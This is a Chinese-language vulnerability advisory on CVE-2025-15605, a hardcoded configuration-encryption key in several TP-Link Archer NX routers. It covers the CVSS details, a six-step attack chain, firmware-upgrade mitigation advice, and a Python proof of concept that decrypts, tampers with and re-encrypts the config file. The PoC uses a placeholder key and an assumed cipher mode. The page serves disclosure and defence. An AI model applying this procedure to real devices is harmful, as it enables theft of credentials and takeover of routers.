IPBUF安全漏洞报告
English
CVE-2025-15605 CVSS 7.3 高危

CVE-2025-15605 TP-Link Archer硬编码密钥漏洞

披露日期: 2026-03-23
来源: f23511db-6c3e-4e32-a477-6aa17d310630

漏洞信息

漏洞编号
CVE-2025-15605
漏洞类型
硬编码密钥
CVSS评分
7.3 高危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TP-Link Archer NX200, NX210, NX500, NX600

相关标签

硬编码密钥TP-Link配置解密路由器漏洞CVE-2025-15605权限提升

漏洞概述

TP-Link Archer NX200、NX210、NX500和NX600路由器的配置机制中存在硬编码加密密钥漏洞。该漏洞源于设备在处理配置数据时使用了固定的加密密钥,这使得经过身份验证的攻击者能够解密敏感的设备配置文件。攻击者不仅可以读取配置信息,还能修改配置内容并利用同一密钥重新加密,从而绕过完整性校验机制。该漏洞严重影响了设备配置数据的机密性和完整性,可能导致攻击者获取设备最高权限。

技术细节

该漏洞的根本原因是TP-Link Archer NX系列路由器在固件设计时,未能妥善保护用于配置文件加密的密钥,而是将其硬编码在设备的配置机制或固件二进制代码中。由于该密钥是静态的且对所有受影响型号通用,任何能够获取固件或设备文件系统的攻击者均可提取该密钥。

在技术利用层面,攻击者首先需要处于邻接网络环境(AV:A)并拥有低权限账户(PR:L)。攻击者通过设备管理接口导出当前的加密配置文件。利用提取出的硬编码密钥(通常为AES密钥),攻击者可以本地解密该配置文件,从而暴露敏感信息如管理员凭证、无线网络密钥等。更严重的是,攻击者可以篡改解密后的配置数据(例如将普通用户权限提升为管理员),并使用相同的密钥重新加密文件。最后,攻击者将篡改后的配置文件上传至设备,设备在验证时使用相同的硬编码密钥解密并应用配置,导致配置数据的完整性被破坏,攻击者进而可能获得设备的完全控制权。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标设备为TP-Link Archer NX系列,并通过物理接触或接入同一局域网(邻接网络)建立连接。
STEP 2
步骤2:获取低权限
攻击者使用低权限账户登录设备Web管理界面或通过其他方式获取基本的访问权限(PR:L)。
STEP 3
步骤3:提取配置文件
攻击者通过管理接口下载设备的加密配置备份文件。
STEP 4
步骤4:解密与分析
攻击者利用已知的硬编码密钥(逆向固件获得)在本地解密配置文件,读取敏感信息如管理员密码或WiFi密钥。
STEP 5
步骤5:篡改配置
攻击者修改解密后的配置数据,例如提升用户权限或更改防火墙规则。
STEP 6
步骤6:重新加密与上传
使用相同的硬编码密钥加密篡改后的配置,并将其上传回设备。设备应用该配置,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual Proof of Concept for CVE-2025-15605 # This script demonstrates how to decrypt and re-encrypt configuration # using a hardcoded key extracted from the device firmware. import binascii from Crypto.Cipher import AES from Crypto.Util.Padding import unpad, pad # Placeholder for the hardcoded key found in the firmware # Actual key needs to be extracted from the specific device model HARDCODED_KEY = binascii.unhexlify('0123456789ABCDEF0123456789ABCDEF') def decrypt_config(encrypted_file_path): """Decrypts the device configuration file using the hardcoded key.""" try: with open(encrypted_file_path, 'rb') as f: encrypted_data = f.read() # Assuming AES-ECB mode is used based on common vendor implementations cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) print("[+] Decryption successful.") return decrypted_data.decode('utf-8') except Exception as e: print(f"[-] Decryption failed: {e}") return None def encrypt_and_malicious_modify(config_content, output_file_path): """Modifies config and re-encrypts it to upload back to the device.""" try: # Example modification: changing admin password or settings modified_content = config_content.replace('old_password', 'new_password') cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) encrypted_data = cipher.encrypt(pad(modified_content.encode('utf-8'), AES.block_size)) with open(output_file_path, 'wb') as f: f.write(encrypted_data) print(f"[+] Malicious config encrypted and saved to {output_file_path}") except Exception as e: print(f"[-] Encryption failed: {e}") # Usage Example # config = decrypt_config('config.bin') # if config: # encrypt_and_malicious_modify(config, 'malicious_config.bin')

影响范围

TP-Link Archer NX200
TP-Link Archer NX210
TP-Link Archer NX500
TP-Link Archer NX600

防御指南

临时缓解措施
建议用户立即检查设备型号,若属于受影响范围,务必第一时间升级至TP-Link官方提供的最新固件版本。在无法立即升级的情况下,应严格限制局域网接入,并关闭远程管理功能,以减少被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表